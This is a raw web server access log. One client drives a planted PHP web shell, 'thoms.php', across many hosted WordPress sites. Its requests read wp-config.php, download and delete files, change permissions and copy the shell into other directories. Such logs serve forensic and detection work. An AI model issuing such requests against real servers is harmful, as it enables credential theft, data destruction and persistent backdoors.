45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?p=bfl.com.tw&view=license.txt HTTP/1.1" 200 20068 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?chmod=license.txt&p=bfl.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?chmod=thoms.php&p=bfl.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bfl.com.tw HTTP/1.1" 200 17475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?dl=wp-load.php&p=bfl.com.tw HTTP/1.1" 200 17474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?del=wp-content&p=bfl.com.tw HTTP/1.1" 200 17465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?dl=error_log&p=bfl.com.tw HTTP/1.1" 200 17473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bfl.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-mail.php&p=bfl.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?chmod=wp-includes&p=bfl.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?p=bfl.com.tw&view=mah.php HTTP/1.1" 200 11808 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?del=wp-cron.php&p=bfl.com.tw HTTP/1.1" 200 17474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bfl.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-config.php HTTP/1.1" 200 13716 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes&p= HTTP/1.1" 200 12018 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bfl.com.tw HTTP/1.1" 200 17464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 200 12048 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-login.php HTTP/1.1" 200 29018 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes HTTP/1.1" 200 58971 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bfl.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?dl=wp-login.php&p=bfl.com.tw HTTP/1.1" 200 17475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-trackback.php HTTP/1.1" 200 14081 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?chmod=queue-failed&p=bfl.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-activate.php HTTP/1.1" 200 14817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12007 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?chmod=wp-load.php&p=bfl.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=thoms.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=thoms.php&p=besth2o.com.tw HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=thoms.php&p=booking-wise2.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=thoms.php&p=wp-content HTTP/1.1" 200 11366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19460 "https://163.245.207.76/thoms.php?copy=thoms.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=thoms.php&p=bossini.com.tw HTTP/1.1" 200 11452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=thoms.php&p=bogroup.com.tw HTTP/1.1" 200 11450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=thoms.php&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11438 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=thoms.php&p=cgi-bin HTTP/1.1" 200 11317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19461 "https://163.245.207.76/thoms.php?copy=thoms.php&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=thoms.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=thoms.php&p=betcity.com.tw HTTP/1.1" 200 11424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=thoms.php&p=bioway88.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19629 "https://163.245.207.76/thoms.php?copy=thoms.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?copy=thoms.php&p=bodbooks.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19639 "https://163.245.207.76/thoms.php?copy=thoms.php&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=thoms.php&p=beauty-dental.com.tw HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=thoms.php&p=bestjudy.com.tw HTTP/1.1" 200 11453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=thoms.php&p=bestzyx.com.tw HTTP/1.1" 200 11456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=thoms.php&p=bft.com.tw HTTP/1.1" 200 11425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=thoms.php&p=broadweb.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=thoms.php&p=bfl.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=thoms.php&p=big-wife.com.tw HTTP/1.1" 200 11456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=thoms.php&p=biotaiwan.com.tw HTTP/1.1" 200 11423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=thoms.php&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11392 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=thoms.php&p=upgrade HTTP/1.1" 200 11355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /cgi-bin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?p=cgi-bin&upload= HTTP/1.1" 200 12147 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?chmod=thoms.php&p=cgi-bin HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=cgi-bin%2Fthoms.php&p=cgi-bin HTTP/1.1" 200 11313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /cgi-bin/ HTTP/1.1" 403 1242 "https://163.245.207.76/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=cgi-bin%2Fmah.php&p=cgi-bin HTTP/1.1" 200 11275 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?dl=mah.php&p=cgi-bin HTTP/1.1" 200 13034 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?p=cgi-bin&view=thoms.php HTTP/1.1" 200 11797 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?p=cgi-bin&view=mah.php HTTP/1.1" 200 11795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?del=thoms.php&p=cgi-bin HTTP/1.1" 200 13045 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?p=cgi-bin&settings=1 HTTP/1.1" 200 11884 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?del=mah.php&p=cgi-bin HTTP/1.1" 200 13044 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?chmod=mah.php&p=cgi-bin HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?dl=thoms.php&p=cgi-bin HTTP/1.1" 200 13043 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19639 "https://163.245.207.76/thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bfl.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bft.com.tw HTTP/1.1" 200 11425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19628 "https://163.245.207.76/thoms.php?copy=betcity.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:16 -0400] "GET /thoms.php?copy=betcity.com.tw&p=cgi-bin HTTP/1.1" 200 11274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=betcity.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11395 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bossini.com.tw HTTP/1.1" 200 11453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=betcity.com.tw&p=wp-content HTTP/1.1" 200 11365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=betcity.com.tw&p=betcity.com.tw HTTP/1.1" 200 11450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19670 "https://163.245.207.76/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:17 -0400] "GET /thoms.php?copy=betcity.com.tw&p=upgrade HTTP/1.1" 200 11358 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
